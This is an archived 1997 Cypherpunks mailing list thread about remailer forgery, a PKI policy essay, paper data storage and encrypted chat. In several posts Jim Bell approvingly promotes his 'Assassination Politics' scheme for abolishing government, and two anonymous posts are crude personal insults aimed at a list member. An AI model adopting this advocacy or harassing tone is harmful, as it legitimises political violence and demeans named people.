>Additionally, I have a fast source-blocking system set up, so anyone >in whose name articles are being forged can immediately stop it by >mailing . (This doesn't source-block >them from the remailers, just the non-anonymizing mail2news gateway.) That helps, at least if the spammer is doing a lot of it (or if the spam is from a broken gateway program or whatever.) But for the troll that killed my remailer, one message was enough. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From jimbell at pacifier.com Wed Feb 5 21:25:59 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 21:25:59 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702060525.VAA13486@toad.com> At 04:35 PM 2/5/97 -0800, Sean Roach wrote: >At 09:09 PM 2/4/97 -0800, jim bell wrote: >>However, fortunately I don't think it would make any difference in the >>overall effects. While AP would eliminate the taxation which is commonly >>thought of as the main way a "rich person" loses assets, in practice it >>would also shut down the well-hidden systems that allow some people to get >>rich (or, merely live off somebody else) "unfairly." Government agents >>come to mind, of course. >> >The money doesn't necessarily come from taxation, the owner of a business >takes a cut of whatever money is made even if that person is unproductive. >The tyrant would be the owner of the industry. The kind of effects I'm thinking of are primarily the "military spending" situations, where: 1. Large numbers of potentially competent and useful people get put into useless jobs: "Army, Navy, and Marines, and Air Force" spring to mind. (Those people who still think military spending is really necessary obviously haven't read AP.) 2. Large amounts of money are spent on military hardware, money which goes to fund people who would otherwise develop useful products in the non-government private sector. 3. The patent system decreases competition, increases profits and prices in the marketplace due to government actions to allow and enforce monopolies. 4. Government employees are paid more for their activities than they would receive in the private sector. Ironically, in this case an "apples-to-apples" comparison is misleading: It would be wrong to compare a middle level government manager to his counterpart in private industry, because to postulate there is such a government-job assumes that the private-sector would do it post-AP. >If you are right then governments would effectively lose the ability to tax, >with or without representation, as most people do not agree on everything, >like how their money is spent. However, even now, as pointed out in some >recent posts, our tax money is used to foreward the goals of a few, these >few want to eliminate guns, crypto, free speech, ect. Although we are in >oppostition, our money is still used to foreward the goals. Yes, the main effect of AP is the elimination of the ability to tax. Now, nothing would prevents individuals from continuing to fund an organization called a "government" so that it could do those (non-coercive) things that individual wants to see done. But I think it'll be amazing how many of those heretofore-funded-by-govt projects (previously promoted as being wanted by a large fraction of the citizenry) that evaporate when the public is given the option to continue to fund them voluntarily. Let's suppose, hypothetically and for vast simplification, the government engages in two activities, "A" and "B." Further suppose government taxes from two groups, let's call them "Alphas" and "Betas." It is traditionally thought that Alphas like spending on "A", but hate spending on "B". Likewise, it is figured that Betas like spending on "B", don't like spending on "A". Post-AP, one might innocently suspect that maybe the "Alphas" would simply fund only "A", while Betas" would donate money for activity "B". Assuming the amount of funding for those activities was equal, you might think that things could go on as they already do. But no. The reality is that "Alphas" merely like spending on "A" _more_ than they do "B", and they will tolerate their own money being used for both only because the "Betas" are similarly forced. Add volunteerism to the whole mix, and not only would these two groups only fund just what they really wanted, they would soon discover they don't even want the level of spending they previously argued for, pre-AP. In practice, those services people like will continue, but it is highly unlikely that they will be supply by organizations which evolve from those currently called "governments." Jim Bell jimbell at pacifier.com From declan at pathfinder.com Wed Feb 5 21:40:45 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Wed, 5 Feb 1997 21:40:45 -0800 (PST) Subject: your mail Message-ID: <199702060540.VAA13750@toad.com> Heh. On the ISP-TV show that Brock Meeks and I co-host, two weeks ago we not only described how easy it was to modify a handheld radio, we had a guest who demo'd cell-snooping on the air. -Declan On Wed, 5 Feb 1997, Bovine Remailer wrote: > http://www.cnn.com > > Congressman demonstrates > ease of cell phone snooping > > > > > From stewarts at ix.netcom.com Wed Feb 5 21:41:08 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 5 Feb 1997 21:41:08 -0800 (PST) Subject: mail-to-news fun Message-ID: <199702060541.VAA13772@toad.com> At 02:18 AM 2/6/97 -0000, you wrote: >Unfortunately, you don't really have a choice about what kind of >speech you are supporting if you run a remailer. Don't fall into the >trap of saying, "I want to give people complete freedom of anonymous >speech... EXCEPT...." As abhorrent as we may find the homophobic >hatemongers from the "freedom-knights" list, I guarantee a lot of >politicians would object more strongly to the "Help, I might be gay >and my parents will kill me" post. Once you set up a system for >content-based censorship, don't think you can stay in control of it. The problem isn't homophobic hatemongers who use their own names or nyms or no name, or even get my remailer's name associated with that - I can reply to complaints or file them in the handy bit bucket. The problem is forgers signing _other_ people's names to their hatemonger postings, causing the innocent third party to catch all the flames that the forger was trying to generate. Stewart wrote: >> On the other hand, I don't want to support postings titled >> "ALL FAGS MUST DIE" with a forged signature and email at the bottom, >> and I especially don't want to post that from my remailer without >> indicating that anything posted by a remailer might be forged. >> That's why I shut down my previous remailer - the forger only >> posted one forged message; the person whose name got forged >> got flamed severely by dozens of people who objected to "her" posts. >> Blocking the gay newsgroups cuts down on that kind of trolling, >> but also cuts out the "Help, I might be gay and my parents will kill me" >> traffic that remailers are supposed to help with. Guess I should have been more clear.... >As for forgery, I do add > X-Warning: Sender address is unverified and may not be authentic. >to every article that goest through my mail2news gateway. Does anybody read X-Warning: headers? Not all newsreaders even show all the headers. It's a good start, and that's clearly the place in the system to insert it. >Additionally, I have a fast source-blocking system set up, so anyone >in whose name articles are being forged can immediately stop it by >mailing . (This doesn't source-block >them from the remailers, just the non-anonymizing mail2news gateway.) That helps, at least if the spammer is doing a lot of it (or if the spam is from a broken gateway program or whatever.) But for the troll that killed my remailer, one message was enough. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From jimbell at pacifier.com Wed Feb 5 21:41:10 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 21:41:10 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702060541.VAA13773@toad.com> At 02:41 PM 2/5/97 +0000, Attila T. Hun wrote: > >+Put simply, "anarchy is not the lack of order. It is the lack of >+_orders_." > > disagree. pure anarchy is not the lack of "orders" --pure anarchy > implies that everyone is imbued with that perfect sense of > responsibility. >From which hat do you pull this rabbit? > >+> anarchy is only possible in an ideal world where _everyone_ >+> assumes not only responsibility for themselves, but for the common >+> good. no malice, no greed, no need for assassination politics.... > >+No, that's traditional thinking and that's wrong. See AP part 8. >+Freud believed (as "everyone" else believed, even myself, before AP) >+that anarchy was inherently unstable. But it ISN'T, if the tools of >+AP are used to stabilize it. And no, no altruism is necessary for AP >+to work as well; no individuals are being asked to sacrifice >+themselves for the common good. Rather, they are given the >+opportunity to work to achieve a reward offered, cumulatively, by a >+number of citizens. > > aah, but that is the difference between a _pure_ anarchy and a > _popular_ anarchy. A pure _anarchy_ is sufficiently idealistic in > that _noone_ lacks the necessary resonsibility to keep society > moving, each individual in their own niche. Why, exactly, is it "necessary" to "keep society moving"? Isn't that somewhat of a contradiction in terms? (particularly when you are discussing the subject, "anarchy." It seems you don't really understand what the word "anarchy" means. Sigh. > As long as there is > perfect responsibility in a perfect anarchy, then there is no need > for AP. Are you saying that for a world that has ALREADY achieved anarchy, and we presume "perfect responsibility," AP is not necessary to maintain this state? Well, that's a rather limited assertion; some would argue it's practically meaningless. Isn't that somewhat like saying, "A perfectly-balanced inverted pendulum needs no mechanism to keep it pointing straight up."? True, perhaps, but how do you get that "perfectly-balanced" part right? > AP is a negative, or _punative_, influence; I might liken it to the > Catholic Church which is a religion of fear, and an instrument of > political control. Actually, it's quite the opposite: AP is the absolute prohibition on and/or destruction of any "instrument of political control." Now, to a person who thinks that the natural state of the world is a condition of political control (and it wouldn't be hard to understand why a person could come to this conclusion, given the bulk of history), the ABSENSE of political control "looks like" political control. This is, obviously, akin to the optical illusion where you stare intently at a pattern of color on a page (the American flag is often used) for a minute or two, and then you suddenly glance towards a white sheet of paper on which, as I recall, immediately appears a complementary flag of green and black stripes, and black stars on a yellow field. AP destroys the mechanisms that societies use for much political control. Jim Bell jimbell at pacifier.com From osborne at gateway.grumman.com Wed Feb 5 21:42:52 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Wed, 5 Feb 1997 21:42:52 -0800 (PST) Subject: [RRE FWD] PKI: 10 Public Policy Questions Message-ID: <199702060542.VAA13795@toad.com> C'punks- Got this off of the Red Rock Eater list, , and figured those of you not on it might like a read. _________________________________________________ From: Phil Agre To: rre at weber.ucsd.edu Subject: PKI: 10 Public Policy Questions X-Url: http://communication.ucsd.edu/pagre/rre.html [The bottom line: State legislation on digital signatures presupposes an overly centralized architecture and is weighted against victims of fraud. Pursuing inherently national or global issues on the state level permits interested parties to shop for a friendly legislature, who will then set a precedent that other jurisdictions are likely to follow. This system is biased against less politically mobilized constituencies and favors older technologies and more centralized business models.] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Wed, 05 Feb 1997 09:48:01 -0800 From: Bradford Biddle Subject: PKI: 10 Public Policy Questions [...] * * * * * * * * * [Copyright 1997 C. Bradford Biddle; permission granted for non-commercial electronic redistribution] CFP '97: LUNCHTIME WORKSHOP, WED. MARCH 12 1997 12:30PM -2:00PM PUBLIC KEY INFRASTRUCTURES AND "DIGITAL SIGNATURE" LEGISLATION: 10 PUBLIC POLICY QUESTIONS BRAD BIDDLE* Following the lead of the state of Utah, numerous states and several foreign countries have enacted "digital signature" legislation aimed at promoting the development of a public key infrastructure (PKI). While PKI legislation has acquired significant momentum, it is not clear that lawmakers have carefully considered the public policy implications and long-term consequences of these laws. This luncheon session will explore certain policy questions related to a PKI, in an informal "open discussion" format. Ten questions we hope to address are: 1. Is legislation necessary at all? Proponents of digital signature legislation start with the premise that the need for a PKI is clear: public key cryptography and verifiable certificates offer the best hope for sending secure, authentic electronic messages over open networks, thereby facilitating electronic commerce. They argue that the reason that the commercial marketplace has not produced a viable certification authority (CA) industry is because of legal uncertainty (CAs are unable to determine their potential liability exposure because of a confusing array of applicable background law) or because existing law imposes too much liability on CAs. Thus, proponents argue, legislation is necessary in order to provide certainty in the marketplace and allow a much-needed industry to emerge, as well as to address other issues such as the legal status of digitally signed documents. Opponents of this view assert that it is far too soon to conclude that the market will not produce commercial CAs, and point to the increasing numbers of commercial CAs emerging even in the absence of legislation. Time is solving the "uncertainty" problem, opponents argue, and the "too much liability" problem is the product of flawed business models, not a flawed legal system. Opponents of legislation argue that the real danger is that a group of lawyers will impose a set of flawed rules that will fundamentally skew a dynamic infant marketplace and "lock in" a set of business models that the market would otherwise reject. The time for legislation and regulation is after identifiable problems exist in a mature industry, opponents say, not before an industry even exists. Opponents of legislation further argue that existing legal mechanisms can address the issue of the legal status of digitally signed documents. 2. Where should PKI legislation occur? Debate also occurs over the appropriate jurisdictional level for digital signature legislation. Some observers cringe at the thought of 50 inconsistent state digital signature laws; others believe that CAs and consumers will opt-in to the most sensible legislative scheme, and thus believe that competition between the states is helpful. Proponents of uniformity and consistency argue for PKI legislation at the federal or international level; opponents of this view point out that general commercial law has long been the province of state legislatures. 3. Is licensing of Certification Authorities the right approach? Under the Utah Digital Signature Act ("Utah Act") and much of the subsequent PKI-related legislation CAs are licensed by the state. The Utah Act makes licensing optional: CAs that obtain licenses are treated with favorable liability rules, but non-licensed CAs may exist in Utah. Licensing is a highly intrusive form of government regulation (other, less intrusive methods of regulation include mandatory disclosure requirements, altering liability rules to avoid externalized costs, bonding or insurance requirements, etc.). Typically, licensing as a form of regulation is reserved for circumstances where a market flaw cannot be addressed by other, less intrusive means. Does this sort of dynamic exist with CAs? Would consumers be able to make informed, rational choices between CAs? Could an incompetent CA cause irreparable harm? Could other types of regulation address any relevant market flaws? If unlicensed practitioners are allowed to exist, subject to different liability rules, how will this affect the CA market? 4. Should legislation endorse public key cryptography, or be "technology neutral"? Most of the digital signature legislation to date has focused specifically on digital signatures created using public key cryptography. Some legislation has also addressed the issue of "electronic signatures" -- other, non-public key methods of authenticating digital transmissions. Proponents of biometric authentication methods argue that it is foolish to legislatively enshrine public key cryptography as the only technology capable of authenticating an electronic document. They argue that biometric methods can currently accomplish many of the same goals as digital signatures; they further argue that by precluding other technologies future innovations will be discouraged. They also note that public key cryptography can only be implemented using patents owned by a limited number of commercial entities, and question whether it is wise public policy to legislatively tie electronic commerce so closely to the interests of a few private sector actors. 5. Should legislation endorse the X.509 paradigm? When the Utah Act was enacted, it explicitly endorsed the X.509 infrastructure model. Subsequent laws have dropped the explicit endorsement of X.509, but nonetheless remain true to the X.509 paradigm. Under most digital signature legislation, certificates serve to bind an individual's *identity* to a particular public key. This binding is accomplished in the context of a rigid, hierarchical CA infrastructure. This model has been criticized for two main reasons: global CA hierarchies are almost certainly unworkable, and identity certificates often provide too much information -- frequently an "attribute" or "authority" certificate will do. Alternative certificate formats, such as SDSI and SPKI, have emerged in response to these and other perceived flaws with the X.509 model. However, it is not clear that these alternative certificate formats can be accommodated under current digital signature legislation. 6. How should liability and risk be allocated in a PKI? Liability allocation promises to be a vexing problem in a PKI. The liability issue is most dramatic in the context of fraud. An impostor can obtain the private encryption key associated with a particular party and create electronic documents purporting to be from that party. A second party may enter into an electronic contract relying on these ostensibly valid documents, and a loss may occur. Who should bear this loss? In the paper world, generally one cannot be bound by a fraudulent signature. This principle may not be entirely appropriate in an electronic context, however. In a PKI, the integrity of the infrastructure depends upon the security of private encryption keys. If a key holder bears no liability for fraudulent use of that private key, perhaps he or she may not have adequate incentive to keep the private key secure. How much liability should the private key holder bear? Under the Utah Act and its progeny, an individual who negligently loses control of their private key will bear unlimited liability. This risk allocation scheme raises the specter of consumers facing immense losses -- as one commentator puts it: "Grandma chooses a poor password and loses her house." In contrast, consumer liability for negligent disclosure of a credit card number is generally limited to $50. If consumer liability were similarly limited in a PKI, where would the risk of loss fall? If CAs had to act as an insurer in all transactions, the price of certificates would likely be extraordinarily high. If relying third parties faced the risk that ostensibly valid documents may in fact be forgeries and bear any resulting loss, then some benefits of a PKI are lost. 7. What mechanisms should be used to allocate risk? Currently at least one commercial certification authority, VeriSign, is attempting to allocate risk to both certificate subjects and relying third parties by contract. VeriSign includes significant warranty disclaimers, liability limitations, and indemnification provisions in its Certification Practices Statement (CPS). Certificate applicants agree to be bound by the CPS when obtaining a certificate. VeriSign's web page informs relying third parties that the act of verifying a certificate or checking a certificate revocation list indicates agreement to the terms of the CPS. However, it is not clear that a binding contract can be formed with relying third parties in this fashion. Thus the relationship between VeriSign and relying parties may not be governed by the CPS at all, but instead be subject to default contract and tort rules (which would be less favorable to VeriSign). As a policy matter, should CAs be able to form contracts with relying third parties, despite their rather attenuated connection? If relying parties will be bound by unilateral contracts imposed by CAs, they face significant transaction costs involved with determining the contract terms offered by potentially numerous CAs. If CAs cannot scale their potential liability exposure to third parties by contract, however, it may be impossible for CAs to compete on warranty terms -- and presumably such terms would otherwise be the subject of significant competition. 8. Should digitally-signed documents be considered "writings" for all legal purposes? The Utah Act and most other digital signature laws provide that digitally signed documents have the same legal effect as writings. Critics have noted that while most of the functions or goals of writing requirements may be served by electronic documents, this may not be true in all instances. For example, the law often requires a written instrument to effect notice -- i.e., to alert an individual that a lien has been filed on their property. It is not clear that a digitally signed electronic message would achieve the same effect. Additionally, there are other contexts -- such as wills or adoption papers -- where paper documents may prove more effective than electronic documents. Moreover some paper documents (such as bank drafts or warehouse receipts) are negotiable instruments, and this negotiable character depends upon the existence of a single, irreproducible copy of the document. Thus, critics say, digital signature legislation should not override all writing requirements without separately considering the extent to which sound policy might require retention in specific circumstances. 9. How much evidentiary weight should a digitally-signed document carry? Evidentiary issues, though seemingly arcane and procedural, can raise important public policy concerns. For example, the Utah Act creates a presumption that the person who owns a particular key pair used to sign a document in fact did sign the document. Holding an individual presumptively bound by obligations entered into under their digital signature could be inequitable if the individual is the victim of the fraudulent use of such a signature. This potential problem can be compounded by the evidentiary weight assigned to digitally-signed documents. Under the Utah Act digitally-signed documents are accorded the same evidentiary weight as notarized documents, and someone challenging the authenticity of such a document can overcome the presumption of authenticity only with "clear and convincing evidence" (in contrast, one can overcome the presumption of validity of a paper signature simply by denying that it is one's signature). Critics of the Utah Act's approach argue that providing digitally-signed documents with this status creates unreasonable evidentiary burdens for victims of fraud challenging the validity of electronic documents signed with the victim's private key. 10. Should governments act as CAs? Much of the currently enacted digital signature legislation envisions state government agencies acting as "top level" certification authorities who in turn certify a second tier of private sector CAs. At the federal level, the U.S. Postal Service has declared its intention to act as a CA on a nationwide basis. Should governments be acting in this sort of role? Critics say no, arguing that government involvement will skew an emerging private sector CA marketplace. Government actors may face very different liability rules than private sector market participants -- governments can choose to scale their potential liability exposure through the doctrine of sovereign immunity. Thus, critics argue, government CAs may "win" in the marketplace not because they are more efficient or provide better service, but rather because they can stack the rules in their favor. Proponents of government involvement argue that governments can play an important role precisely because they can create sensible ground rules for all PKI participants. Additionally, they note that governments have existing relationships with all of their citizens, making the process of identification and public key binding that much easier. ---------------------------------------------------------------------------- -------------- * Brad Biddle is the author of "Misplaced Priorities: The Utah Digital Signature Act and Liability Allocation in a Public Key Infrastructure," which appears in Volume 33 of the San Diego Law Review, and serves as Vice Chair of the Electronic Commerce Subcommittee of the American Bar Association's Committee on the Law of Commerce in Cyberspace. He is a third-year law student at the University of San Diego and is a law clerk in Cooley Godward LLP's San Diego office, where he served on the legal team advising the Internet Law and Policy Forum's Working Group on Certification Authority Practices. He can be contacted by phone at (619) 550-6301 or by e-mail at biddlecb at cooley.com. _________________________________________________ _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ Most obscure warning: If you fork() without ever waiting on your children, you will accumulate zombies. -PERLFUNC man page From roach_s at alph.swosu.edu Wed Feb 5 21:44:28 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 5 Feb 1997 21:44:28 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702060544.VAA13872@toad.com> This time I have opted for a point by point. At 07:59 PM 2/5/97 -0800, jim bell wrote: ... >The kind of effects I'm thinking of are primarily the "military spending" >situations, where: > >1. Large numbers of potentially competent and useful people get put into >useless jobs: "Army, Navy, and Marines, and Air Force" spring to mind. >(Those people who still think military spending is really necessary >obviously haven't read AP.) This point I can not argue with, at least not directly. I do believe that the military way is wasteful of resources. However, this is one area that has actually benefitted the lower-income bracket in that it gives them "inexpensive" (off-chance of death) access to good training. >2. Large amounts of money are spent on military hardware, money which goes >to fund people who would otherwise develop useful products in the >non-government private sector. Three things that promote technological growth, expansion, war, threat of war. As for expansion. we really have no where else to go. As for war and threat of war, the computer was invented during a war, atomic energy was harnessed during war, the internet was created during threat of war. Many advancements, though not all, come to benefit society later. For that matter, steel was probably invented during a war as well, but I can't prove it. >3. The patent system decreases competition, increases profits and prices in >the marketplace due to government actions to allow and enforce monopolies. The patent system gives the innovator a reward for ingenuity, that person can decide what to do with the invention for a short period of time, after which it becomes available to all. (BTW I really think that computer code should be copyrighted and not patented, this allows others to reproduce the work independantly without repercussions, gives the necessary protection, makes it more obviously a form of speech.) >4. Government employees are paid more for their activities than they would >receive in the private sector. Ironically, in this case an >"apples-to-apples" comparison is misleading: It would be wrong to compare a >middle level government manager to his counterpart in private industry, >because to postulate there is such a government-job assumes that the >private-sector would do it post-AP. To this I can't argue, business is certainly leaner than government. Of course most desert plants are more robust than their resource-wasteful wetland counterpart. Where there is a near-bottomless supply of material, as in taxes, true streamlining really doesn't happen. Remember, the automobile really didn't become anywhere near fuel-efficient until after the energy crisis. > >>If you are right then governments would effectively lose the ability to tax, >>with or without representation, as most people do not agree on everything, >>like how their money is spent. However, even now, as pointed out in some >>recent posts, our tax money is used to foreward the goals of a few, these >>few want to eliminate guns, crypto, free speech, ect. Although we are in >>oppostition, our money is still used to foreward the goals. > >Yes, the main effect of AP is the elimination of the ability to tax. Now, >nothing would prevents individuals from continuing to fund an organization >called a "government" so that it could do those (non-coercive) things that >individual wants to see done. But I think it'll be amazing how many of >those heretofore-funded-by-govt projects (previously promoted as being >wanted by a large fraction of the citizenry) that evaporate when the public >is given the option to continue to fund them voluntarily. > > >Let's suppose, hypothetically and for vast simplification, the government >engages in two activities, "A" and "B." Further suppose government taxes >from two groups, let's call them "Alphas" and "Betas." It is traditionally >thought that Alphas like spending on "A", but hate spending on "B". >Likewise, it is figured that Betas like spending on "B", don't like spending >on "A". > >Post-AP, one might innocently suspect that maybe the "Alphas" would simply >fund only "A", while Betas" would donate money for activity "B". Assuming >the amount of funding for those activities was equal, you might think that >things could go on as they already do. But no. The reality is that >"Alphas" merely like spending on "A" _more_ than they do "B", and they will >tolerate their own money being used for both only because the "Betas" are >similarly forced. Add volunteerism to the whole mix, and not only would >these two groups only fund just what they really wanted, they would soon >discover they don't even want the level of spending they previously argued >for, pre-AP. As it is, the "A" group, that's not us, is being promoted with virtually all of the capitol, the "B" group, us, is being attacked in policy and attempts are being made to keep us from getting any bigger. ... From jimbell at pacifier.com Wed Feb 5 22:04:53 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 22:04:53 -0800 (PST) Subject: ITAR and Paper ROM Message-ID: <199702060604.WAA06737@mail.pacifier.com> At 09:26 AM 2/5/97 -0800, Steve Schear wrote: >>Given that high-density inkjet printers can do 600x600 dpi resolution, it >>should be possible to achieve the equivalent of 100x100 bpi of >>easily-recoverable data on ordinary paper. That's about 800 kilobits, or >>100 kilobytes. What does ITAR say about this? > >I'm not sure if what I did in the 80s, trying to create what I called >'paper ROM, is applicable. In these investigations I used matricies of >small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind >to replace diskettes for inexpensive mass data distribution. I was able to >reliably get 100-200 KB/page side using standard offset printing. With >modern ink-jet/laser printers you should be able to reliably get at least >10-50KB/page side. Although a technical success, I abandoned the effort >when I discovered someone had patented (4,488,679) something similar a few >years earlier. It seems to me that the main impediment to doing this in the middle 1980's was the lack of inexpensive scanners. But the utility of a system like this has, unfortunately (?) or perhaps fortunately, probably been killed by the Internet. Today, a magazine or newspaper can merely post a short pointer to a website including an FTP, or something similar. True, that doesn't guarantee the availability of the data years later, but... Jim Bell jimbell at pacifier.com From roach_s at alph.swosu.edu Wed Feb 5 22:10:55 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 5 Feb 1997 22:10:55 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702060610.WAA14376@toad.com> This time I have opted for a point by point. At 07:59 PM 2/5/97 -0800, jim bell wrote: ... >The kind of effects I'm thinking of are primarily the "military spending" >situations, where: > >1. Large numbers of potentially competent and useful people get put into >useless jobs: "Army, Navy, and Marines, and Air Force" spring to mind. >(Those people who still think military spending is really necessary >obviously haven't read AP.) This point I can not argue with, at least not directly. I do believe that the military way is wasteful of resources. However, this is one area that has actually benefitted the lower-income bracket in that it gives them "inexpensive" (off-chance of death) access to good training. >2. Large amounts of money are spent on military hardware, money which goes >to fund people who would otherwise develop useful products in the >non-government private sector. Three things that promote technological growth, expansion, war, threat of war. As for expansion. we really have no where else to go. As for war and threat of war, the computer was invented during a war, atomic energy was harnessed during war, the internet was created during threat of war. Many advancements, though not all, come to benefit society later. For that matter, steel was probably invented during a war as well, but I can't prove it. >3. The patent system decreases competition, increases profits and prices in >the marketplace due to government actions to allow and enforce monopolies. The patent system gives the innovator a reward for ingenuity, that person can decide what to do with the invention for a short period of time, after which it becomes available to all. (BTW I really think that computer code should be copyrighted and not patented, this allows others to reproduce the work independantly without repercussions, gives the necessary protection, makes it more obviously a form of speech.) >4. Government employees are paid more for their activities than they would >receive in the private sector. Ironically, in this case an >"apples-to-apples" comparison is misleading: It would be wrong to compare a >middle level government manager to his counterpart in private industry, >because to postulate there is such a government-job assumes that the >private-sector would do it post-AP. To this I can't argue, business is certainly leaner than government. Of course most desert plants are more robust than their resource-wasteful wetland counterpart. Where there is a near-bottomless supply of material, as in taxes, true streamlining really doesn't happen. Remember, the automobile really didn't become anywhere near fuel-efficient until after the energy crisis. > >>If you are right then governments would effectively lose the ability to tax, >>with or without representation, as most people do not agree on everything, >>like how their money is spent. However, even now, as pointed out in some >>recent posts, our tax money is used to foreward the goals of a few, these >>few want to eliminate guns, crypto, free speech, ect. Although we are in >>oppostition, our money is still used to foreward the goals. > >Yes, the main effect of AP is the elimination of the ability to tax. Now, >nothing would prevents individuals from continuing to fund an organization >called a "government" so that it could do those (non-coercive) things that >individual wants to see done. But I think it'll be amazing how many of >those heretofore-funded-by-govt projects (previously promoted as being >wanted by a large fraction of the citizenry) that evaporate when the public >is given the option to continue to fund them voluntarily. > > >Let's suppose, hypothetically and for vast simplification, the government >engages in two activities, "A" and "B." Further suppose government taxes >from two groups, let's call them "Alphas" and "Betas." It is traditionally >thought that Alphas like spending on "A", but hate spending on "B". >Likewise, it is figured that Betas like spending on "B", don't like spending >on "A". > >Post-AP, one might innocently suspect that maybe the "Alphas" would simply >fund only "A", while Betas" would donate money for activity "B". Assuming >the amount of funding for those activities was equal, you might think that >things could go on as they already do. But no. The reality is that >"Alphas" merely like spending on "A" _more_ than they do "B", and they will >tolerate their own money being used for both only because the "Betas" are >similarly forced. Add volunteerism to the whole mix, and not only would >these two groups only fund just what they really wanted, they would soon >discover they don't even want the level of spending they previously argued >for, pre-AP. As it is, the "A" group, that's not us, is being promoted with virtually all of the capitol, the "B" group, us, is being attacked in policy and attempts are being made to keep us from getting any bigger. ... From jimbell at pacifier.com Wed Feb 5 22:10:55 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 22:10:55 -0800 (PST) Subject: ITAR and Paper ROM Message-ID: <199702060610.WAA14375@toad.com> At 09:26 AM 2/5/97 -0800, Steve Schear wrote: >>Given that high-density inkjet printers can do 600x600 dpi resolution, it >>should be possible to achieve the equivalent of 100x100 bpi of >>easily-recoverable data on ordinary paper. That's about 800 kilobits, or >>100 kilobytes. What does ITAR say about this? > >I'm not sure if what I did in the 80s, trying to create what I called >'paper ROM, is applicable. In these investigations I used matricies of >small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind >to replace diskettes for inexpensive mass data distribution. I was able to >reliably get 100-200 KB/page side using standard offset printing. With >modern ink-jet/laser printers you should be able to reliably get at least >10-50KB/page side. Although a technical success, I abandoned the effort >when I discovered someone had patented (4,488,679) something similar a few >years earlier. It seems to me that the main impediment to doing this in the middle 1980's was the lack of inexpensive scanners. But the utility of a system like this has, unfortunately (?) or perhaps fortunately, probably been killed by the Internet. Today, a magazine or newspaper can merely post a short pointer to a website including an FTP, or something similar. True, that doesn't guarantee the availability of the data years later, but... Jim Bell jimbell at pacifier.com From winsock at rigel.cyberpass.net Wed Feb 5 22:33:11 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Wed, 5 Feb 1997 22:33:11 -0800 (PST) Subject: [NOISE] Sphere packing Message-ID: <199702060633.WAA03735@sirius.infonex.com> Dimwit Virus K[rust]OfTheMonth styles his facial hair to look more like pubic hair. (___) (o o)_____/ @@ ` \ Dimwit Virus K[rust]OfTheMonth \ ____, / // // ^^ ^^ From winsock at rigel.cyberpass.net Wed Feb 5 22:36:26 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Wed, 5 Feb 1997 22:36:26 -0800 (PST) Subject: [PGP] Cats out of bags Message-ID: <199702060636.WAA03977@sirius.infonex.com> Dr.Destitute Violent K[arcinogen]OTM is so in love with himself, he cries out his own name when orgasming. Then again, no one else is ever around. /\ /\ + \______/ + / . . \ < / > Dr.Destitute Violent K[arcinogen]OTM \ \--/ / ------ From stewarts at ix.netcom.com Wed Feb 5 22:37:54 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 5 Feb 1997 22:37:54 -0800 (PST) Subject: ITAR and Paper ROM In-Reply-To: <199702051939.LAA03422@toad.com> Message-ID: <3.0.1.32.19970205222643.0061e5a0@popd.ix.netcom.com> At 09:26 AM 2/5/97 -0800, Steve Schear wrote: >I'm not sure if what I did in the 80s, trying to create what I called >'paper ROM, is applicable. [....] >to replace diskettes for inexpensive mass data distribution. > Although a technical success, I abandoned the effort >when I discovered someone had patented (4,488,679) something similar a >few years earlier. Yeah, our patent office is so helpful - granting a patent for "Storage of Information By Making Marks On Paper" :-) You'd think they'd recognize a few thousand years of prior art..... Xerox also has a similar patent; their method uses little diagonals to encode data in. ///\\\/// It really _isn't_ called "cuneform". More practically, sort of, there was the Cauzin Softstrip Reader, which cost about $200 and held enough data to distribute programs back when computers and programs were much smaller; a few PC magazines tried distributing programs by printing them in the back that way. Cute, but not cute enough to stick around very long. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From WIZZYH2H at aol.com Wed Feb 5 23:10:35 1997 From: WIZZYH2H at aol.com (WIZZYH2H at aol.com) Date: Wed, 5 Feb 1997 23:10:35 -0800 (PST) Subject: Tapping these resources. Message-ID: <970206020431_716677637@emout17.mail.aol.com> I noticed that there are several programs that will let anyone send encrypted email. What about encrypted messages over a chat system like irc, chat rooms(aol, BBS) and systemwide messages (IM, whisper, private message)? The server wouldn't have to do anything except send the messages, the users software could handel all the protocols and message identification. Dialup and logon features aren't needed either, allmost all cilents will let you shell. I have been looking for, and tring to write a program to do this, but Im a rookie programmer and my attempts have yet to produce a functional send/receive utility. Where are programs like this.. are there any to be found? 